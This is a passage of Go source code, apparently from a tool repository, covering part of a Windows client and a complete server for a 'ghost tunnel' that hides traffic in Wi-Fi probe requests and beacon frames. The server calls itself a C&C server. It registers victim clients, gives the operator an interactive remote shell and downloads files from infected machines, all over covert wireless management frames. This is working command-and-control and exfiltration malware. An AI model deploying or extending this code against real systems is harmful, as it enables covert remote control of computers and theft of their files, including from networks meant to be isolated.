194 | if ilist.dwNumberOfItems == 0 { 195 | fmt.Println("No interface found") 196 | os.Exit(int(e)) 197 | } 198 | defer WlanFreeMemory(uintptr(unsafe.Pointer(ilist))) 199 | 200 | w.guid = ilist.InterfaceInfo[0].InterfaceGuid 201 | 202 | return w 203 | } 204 | 205 | // Close wlanapi handler 206 | func (w *WinAPI) Close() { 207 | e = WlanCloseHandle(w.handle, 0) 208 | if e != ERROR_SUCCESS { 209 | if e != ERROR_SUCCESS { 210 | fmt.Fprintln(os.Stderr, "WlanCloseHandle: ", e.Error()) 211 | os.Exit(int(e)) 212 | } 213 | } 214 | } 215 | 216 | // Send call WlanScan to send probe-req 217 | func (w *WinAPI) Send(t *TunnelData) { 218 | var p1, p2 []byte 219 | var pIeData *WLAN_RAW_DATA 220 | 221 | // send simple probe-req to refresh bssid list 222 | if t == nil { 223 | e = WlanScan(w.handle, &w.guid, nil, nil, 0) 224 | 225 | if e != ERROR_SUCCESS { 226 | fmt.Println(1, e.Error()) 227 | } 228 | return 229 | } 230 | 231 | t.flag = 0xFE 232 | w.wSeq++ 233 | t.seq = w.wSeq 234 | t.length = uint8(len(t.payload)) 235 | 236 | p1 = []byte(t.payload) 237 | 238 | if len(t.payload) > 26 { 239 | t.dataType |= DataInVendor 240 | t.length = 26 241 | p1 = []byte(t.payload)[0:26] 242 | p2 = []byte(t.payload)[26:] 243 | pIeData = &WLAN_RAW_DATA{ 244 | dwDataSize: uint32(len(p2) + 2), 245 | DataBlob: [257]byte{0xDD, uint8(len(p2))}, 246 | } 247 | for i := 0; i < len(p2); i++ { 248 | pIeData.DataBlob[i+2] = p2[i] 249 | } 250 | } 251 | ssid := &DOT11_SSID{ 252 | uSSIDLength: uint32(6 + t.length), 253 | ucSSID: [32]byte{t.flag, t.dataType, t.seq, t.clientID, t.serverID, t.length}, 254 | } 255 | for i := 0; i < len(p1); i++ { 256 | ssid.ucSSID[i+6] = p1[i] 257 | } 258 | 259 | // maybe the handler is busy now, try again and again 260 | for { 261 | e = WlanScan(w.handle, &w.guid, ssid, pIeData, 0) 262 | if e == ERROR_SUCCESS { 263 | break 264 | } 265 | } 266 | fmt.Printf("[*] Sent %d bytes\n", len(t.payload)+6) 267 | } 268 | 269 | // Receive call WlanGetNetworkBssList to scan ssid. 270 | func (w *WinAPI) Receive() *TunnelData { 271 | var blist *WLAN_BSS_LIST 272 | var entryID uint32 273 | var ssid *[32]byte 274 | e = WlanGetNetworkBssList(w.handle, &w.guid, nil, 0, 0, 0, &blist) 275 | if e != ERROR_SUCCESS { 276 | fmt.Println(e.Error()) 277 | return nil 278 | } 279 | 280 | for i := uint32(0); i < blist.dwNumberOfItems; i++ { 281 | if blist.wlanBssEntries[i].dot11Ssid.ucSSID[0] == 0xFE { 282 | ssid = &blist.wlanBssEntries[i].dot11Ssid.ucSSID 283 | entryID = i 284 | break 285 | } 286 | } 287 | WlanFreeMemory(uintptr(unsafe.Pointer(blist))) 288 | if ssid == nil { 289 | return nil 290 | } 291 | 292 | // this packet has been received 293 | if w.rSeq >= ssid[2] { 294 | return nil 295 | } 296 | if w.rSeq < ssid[2] { 297 | w.rSeq = ssid[2] 298 | } 299 | 300 | t := &TunnelData{ 301 | flag: ssid[0], 302 | dataType: ssid[1], 303 | seq: ssid[2], 304 | clientID: ssid[3], 305 | serverID: ssid[4], 306 | length: ssid[5], 307 | payload: ssid[6 : 6+ssid[5]], 308 | } 309 | 310 | if (t.dataType & DataInVendor) != 0 { 311 | t.dataType &= ^DataInVendor 312 | entry := blist.wlanBssEntries[entryID] 313 | pEntry := unsafe.Pointer(&blist.wlanBssEntries[entryID]) 314 | IEs := []byte{} 315 | for i := uint32(0); i < entry.ulIeSize; i++ { 316 | dat := *(*byte)(unsafe.Pointer(uintptr(pEntry) + uintptr(entry.ulIeOffset) + uintptr(i))) 317 | IEs = append(IEs, dat) 318 | } 319 | 320 | vendor := []byte{} 321 | for i, v := range IEs { 322 | if v == 221 { 323 | vendor = IEs[i:] 324 | } 325 | } 326 | 327 | t.payload = append(t.payload, vendor[2:]...) 328 | } 329 | return t 330 | } 331 | -------------------------------------------------------------------------------- /server/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "encoding/binary" 6 | "flag" 7 | "fmt" 8 | "log" 9 | "math/rand" 10 | "os" 11 | "strconv" 12 | "time" 13 | 14 | "github.com/google/gopacket" 15 | "github.com/google/gopacket/layers" 16 | "github.com/google/gopacket/pcap" 17 | iconv "gopkg.in/iconv.v1" 18 | ) 19 | 20 | var err error 21 | 22 | // GTServer is a C&C server, 23 | // handles probe-req and send beacon. 24 | type GTServer struct { 25 | serverID uint8 26 | iface string 27 | handle *pcap.Handle 28 | pr *tunnelData 29 | bcn *tunnelData 30 | curCltID uint8 31 | curOptCltID uint8 32 | curCltACP string 33 | clients map[string]*clientSession 34 | file dlFile 35 | } 36 | 37 | type clientSession struct { 38 | id uint8 39 | name string 40 | mac string 41 | system string 42 | rSeq uint8 43 | wSeq uint8 44 | connected bool 45 | lastHeartBeat time.Time 46 | } 47 | 48 | type dlFile struct { 49 | f *os.File 50 | maxSize int 51 | curSize int 52 | filename string 53 | } 54 | 55 | func main() { 56 | iface := flag.String("iface", "wlan0mon", "interface") 57 | flag.Parse() 58 | 59 | server := New(*iface) 60 | server.Setup() 61 | server.Run() 62 | } 63 | 64 | // New returns a ghost tunnel server. 65 | func New(device string) *GTServer { 66 | rand.Seed(time.Now().UnixNano()) 67 | return >Server{ 68 | serverID: uint8(rand.Intn(256)), 69 | iface: device, 70 | curCltID: 0, 71 | clients: make(map[string]*clientSession), 72 | } 73 | } 74 | 75 | // Setup wireless adapter 76 | func (s *GTServer) Setup() { 77 | } 78 | 79 | // Run the server. 80 | func (s *GTServer) Run() { 81 | fmt.Println("[*] Server ID:", s.serverID) 82 | s.handle, err = pcap.OpenLive(s.iface, 1024, true, 0) 83 | // s.handle, err = pcap.OpenOffline("../caps/wcc6.pcapng") 84 | if err != nil { 85 | log.Fatal(err) 86 | } 87 | defer s.handle.Close() 88 | 89 | // err = s.handle.SetBPFFilter("type mgt subtype probe-req") 90 | if err != nil { 91 | log.Fatal(err) 92 | } 93 | 94 | packetSource := gopacket.NewPacketSource(s.handle, s.handle.LinkType()) 95 | go func() { 96 | for packet := range packetSource.Packets() { 97 | s.handlePacket(packet) 98 | } 99 | }() 100 | 101 | go s.checkClientsStatus() 102 | 103 | s.handleConsole() 104 | } 105 | 106 | func (s *GTServer) sendServerHeartBeat() { 107 | for { 108 | time.Sleep(30 * time.Second) 109 | s.send(s.curOptCltID, TunnelConnHeartBeat, "") 110 | } 111 | } 112 | 113 | func (s *GTServer) handlePacket(packet gopacket.Packet) { 114 | if l1 := packet.Layer(layers.LayerTypeDot11); l1 != nil { 115 | dot11, _ := l1.(*layers.Dot11) 116 | 117 | if l2 := packet.Layer(layers.LayerTypeDot11MgmtProbeReq); l2 != nil { 118 | dot11pr, _ := l2.(*layers.Dot11MgmtProbeReq) 119 | 120 | if td := parseProbeReq(dot11pr); td != nil { 121 | s.pr = td 122 | s.pr.mac = dot11.Address2.String() 123 | 124 | if c := s.clients[s.pr.mac]; c != nil { 125 | if c.rSeq == s.pr.seq { 126 | // This msg has been received. 127 | return 128 | } 129 | if c.rSeq < s.pr.seq { 130 | c.rSeq = s.pr.seq 131 | } 132 | } 133 | 134 | switch s.pr.dataType & 0xF0 { 135 | case TunnelConn: 136 | s.handleConn() 137 | 138 | case TunnelShell: 139 | s.handleShell() 140 | 141 | case TunnelFile: 142 | s.handleFile() 143 | 144 | default: 145 | break 146 | } 147 | } 148 | } 149 | } 150 | } 151 | 152 | func (s *GTServer) handleConn() { 153 | switch s.pr.dataType { 154 | case TunnelConnClientReq: 155 | c := s.clients[s.pr.mac] 156 | if c == nil { 157 | s.curCltID++ 158 | s.clients[s.pr.mac] = &clientSession{ 159 | id: s.curCltID, 160 | name: s.pr.payload, 161 | mac: s.pr.mac, 162 | rSeq: s.pr.seq, 163 | wSeq: 0, 164 | connected: true, 165 | lastHeartBeat: time.Now(), 166 | } 167 | fmt.Printf("\n[*] Client %d online, MAC: %s, Name: %s\nCmd->", s.curCltID, s.pr.mac, s.pr.payload) 168 | go s.send(s.curCltID, TunnelConnServerResp, s.pr.payload) 169 | } else if !c.connected { 170 | c.connected = true 171 | c.lastHeartBeat = time.Now() 172 | fmt.Printf("\nClient %d reconnected!\nCmd->", c.id) 173 | go s.send(c.id, TunnelConnServerResp, s.pr.payload) 174 | } 175 | 176 | case TunnelConnHeartBeat: 177 | if c := s.clients[s.pr.mac]; c != nil { 178 | c.connected = true 179 | c.lastHeartBeat = time.Now() 180 | } 181 | default: 182 | break 183 | } 184 | } 185 | 186 | func (s *GTServer) handleShell() { 187 | switch s.pr.dataType { 188 | case TunnelShellData: 189 | cd, err := iconv.Open("utf-8", s.curCltACP) // convert utf-8 to gbk 190 | if err != nil { 191 | fmt.Println(err) 192 | break 193 | } 194 | 195 | defer cd.Close() 196 | ret := cd.ConvString(s.pr.payload) 197 | if ret == "" { 198 | fmt.Println("[!] convert to utf-8 error, show raw data") 199 | fmt.Print(s.pr.payload) 200 | break 201 | } 202 | fmt.Print(ret) 203 | 204 | case TunnelShellACP: 205 | fmt.Printf("[*] Shell from Client %d is ready,\n", s.curOptCltID) 206 | 207 | s.curCltACP = fmt.Sprintf("CP%d", binary.LittleEndian.Uint32([]byte(s.pr.payload))) 208 | fmt.Println("[*] ACP", s.curCltACP) 209 | 210 | default: 211 | break 212 | } 213 | } 214 | 215 | func (s *GTServer) handleFile() { 216 | switch s.pr.dataType { 217 | case TunnelFileInfo: 218 | s.file.maxSize = int(binary.LittleEndian.Uint32([]byte(s.pr.payload))) 219 | fmt.Println("[*] File size:", s.file.maxSize) 220 | s.file.f, err = os.Create("./downloads/" + s.file.filename) 221 | if err != nil { 222 | fmt.Println(err) 223 | } 224 | 225 | case TunnelFileData: 226 | n, err := s.file.f.Write([]byte(s.pr.payload)) 227 | if err != nil { 228 | fmt.Println(err) 229 | } 230 | s.file.curSize += n 231 | fmt.Fprintf(os.Stdout, "[*] downloading %.4f%%, %dbyte/s\r", float64(s.file.curSize)/float64(s.file.maxSize)*100, n) 232 | 233 | case TunnelFileEnd: 234 | fmt.Fprintln(os.Stdout, "\r") 235 | fmt.Println("[i*] File download finished") 236 | s.file.f.Close() 237 | s.send(s.curOptCltID, TunnelShellData, "") 238 | 239 | case TunnelFileError: 240 | fmt.Fprintln(os.Stdout, "\r") 241 | fmt.Println("\r[!] download file error") 242 | if s.file.f != nil { 243 | s.file.f.Close() 244 | } 245 | s.send(s.curOptCltID, TunnelShellData, "") 246 | 247 | default: 248 | break 249 | } 250 | } 251 | 252 | func (s *GTServer) checkClientsStatus() { 253 | for { 254 | for _, c := range s.clients { 255 | if time.Since(c.lastHeartBeat) > 30*time.Second { 256 | c.connected = false 257 | } 258 | } 259 | } 260 | } 261 | 262 | func (s *GTServer) send(clientID, dataType uint8, payload string) { 263 | var client *clientSession 264 | for _, c := range s.clients { 265 | // client exists 266 | if c.id == clientID { 267 | client = c 268 | break 269 | } 270 | fmt.Printf("[!] Client %d not found\n", clientID) 271 | return 272 | } 273 | 274 | client.wSeq++ 275 | s.bcn = &tunnelData{ 276 | flag: ValidtunnelData, 277 | dataType: dataType, 278 | seq: client.wSeq, 279 | clientID: clientID, 280 | serverID: s.serverID, 281 | length: uint8(len(payload)), 282 | payload: payload, 283 | } 284 | 285 | buf := createBeacon(s.bcn) 286 | 287 | // let the packets fly 288 | for i := 0; i < 2000; i++ { 289 | s.handle.WritePacketData(buf) 290 | time.Sleep(100 * time.Microsecond) 291 | } 292 | } 293 | 294 | func (s *GTServer) handleConsole() { 295 | stdin := bufio.NewReader(os.Stdin) 296 | for { 297 | fmt.Print("Cmd-> ") 298 | var cmd string 299 | var param string 300 | 301 | input, _ := stdin.ReadString('\n') 302 | fmt.Sscan(input, &cmd, ¶m) 303 | 304 | switch cmd { 305 | case "sessions": 306 | s.showSessions() 307 | 308 | case "interact": 309 | id, err := strconv.Atoi(param) 310 | if err != nil { 311 | fmt.Println("[!] Invalid client id") 312 | break 313 | } 314 | s.interact(uint8(id)) 315 | 316 | case "help": 317 | s.showHelp() 318 | 319 | case "": 320 | break 321 | 322 | case "exit": 323 | os.Exit(0) 324 | 325 | default: 326 | fmt.Println("[!] I don't understand, you may want to see help") 327 | } 328 | } 329 | } 330 | 331 | func (s *GTServer) showSessions() { 332 | if len(s.clients) == 0 { 333 | fmt.Println("No clients now") 334 | return 335 | } 336 | fmt.Println("ID MAC Name Connected LastHeartBeat-Time") 337 | for _, c := range s.clients { 338 | fmt.Printf("%-2d %-20s %-10s %-5v %v\n", c.id, c.mac, c.name, c.connected, c.lastHeartBeat.Format("15:04:05")) 339 | } 340 | } 341 | 342 | func (s *GTServer) showHelp() { 343 | fmt.Println("Commands:") 344 | fmt.Println("\tsessions: show all sessions") 345 | fmt.Println("\tinteract: interact with selected client, interact [client ID]") 346 | fmt.Println("\tdownload: download a file(<10MB) from the current client, download [filepath]") 347 | fmt.Println("\t quit : quit current client session") 348 | fmt.Println("\t exit : exit ghost tunnel server") 349 | fmt.Println("\t help : show this tip") 350 | } 351 | 352 | func (s *GTServer) interact(clientID uint8) { 353 | if len(s.clients) == 0 { 354 | fmt.Println("[!] No clients") 355 | return 356 | } 357 | for _, c := range s.clients { 358 | if c.id == clientID { 359 | break 360 | } 361 | fmt.Printf("[!] Client %d not found\n", clientID) 362 | return 363 | } 364 | 365 | s.curOptCltID = clientID 366 | go s.send(s.curOptCltID, TunnelShellInit, "") 367 | go s.sendServerHeartBeat() 368 | 369 | for { 370 | stdin := bufio.NewReader(os.Stdin) 371 | p, _, _ := stdin.ReadLine() 372 | payload := string(p) 373 | if payload == "quit" { 374 | go s.send(s.curOptCltID, TunnelShellQuit, "") 375 | for _, c := range s.clients { 376 | if c.id == clientID { 377 | c.connected = false 378 | break 379 | } 380 | } 381 | return 382 | } 383 | 384 | if len(payload) > 9 && payload[0:8] == "download" { 385 | s.file.filename = payload[9:] 386 | s.download(s.file.filename) 387 | continue 388 | } 389 | go s.send(s.curOptCltID, TunnelShellData, payload) 390 | } 391 | } 392 | 393 | func (s *GTServer) download(filepath string) { 394 | os.Mkdir("./downloads/", 0777) 395 | s.send(s.curOptCltID, TunnelFileGet, filepath) 396 | s.file.curSize = 0 397 | } 398 | --------------------------------------------------------------------------------